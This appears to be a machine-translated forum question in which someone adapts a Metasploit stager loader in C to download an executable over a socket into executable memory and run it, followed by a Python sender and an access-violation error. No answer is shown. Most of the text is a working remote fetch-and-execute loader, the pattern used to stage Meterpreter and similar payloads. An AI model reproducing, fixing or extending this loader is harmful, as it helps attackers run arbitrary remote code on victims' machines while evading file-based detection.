Загрузка исполняемого файла exe из буфера в C

Я хотел получить exe file из socket и запустить его прямо из буфера в C . Я нашел это немного loader в github который был написан для загрузки meterpreter:

https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c

Насколько я знаю, это работает так:

  1. он получает размер exe-файла и выделяет буфер размером + 5.

  2. затем он загружает файл с помощью сокета и сохраняет его в буфере.

  3. и преобразует буфер в указатель на функцию и просто вызывает функцию.

Вот что делает из высокой абстракции. Хотя я точно не знаю, что buffer[0] = 0xBF; на самом деле

Я пытался изменить код, чтобы запустить мой exe такой файл (остальные функции точно такие же, как в исходном коде):

//receive the agent data 
int recv_all(SOCKET my_socket, void* buffer, int len) {
    int    tret   = 0;
    int    nret   = 0;
    char* startb = (char *) buffer;
    while (tret < len) {
        nret = recv(my_socket, (char *)startb, len - tret, 0);
        if (nret == SOCKET_ERROR)
            punt(my_socket, "Could not receive data");
        startb += nret;
        tret   += nret;
    }
    return tret; // length of received Data 
}

int main(int argc, char *argv[]){

    char host[] = "localhost";
    int port = 4444;
    int count;
    ULONG32 size = 624128;  //size of my file hard coded
    char *buffer;
    void (* function)();
    SOCKET my_socket;
    winsock_init();
    my_socket = wsconnect(host, port);
    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL){
        punt(my_socket, "could not allocate buffer");
    }
    buffer[0] = 0xBF;
    memcpy(buffer + 1, &my_socket, 4);
    count = recv_all(my_socket, buffer + 5, size);
    function = (void (*)())buffer;
    function();
    return 0;
}

Как видите, я просто жестко запрограммировал размер моего файла в байтах.

Вот как я отправляю файл:

f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
    c.send(l)
    l = f.read(1024)
f.close()

Но после запуска кода C я получаю "Нарушение прав доступа":

Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.

Буду признателен за любую помощь в том, почему это происходит и что я делаю неправильно.

0 ответов

Другие вопросы по тегам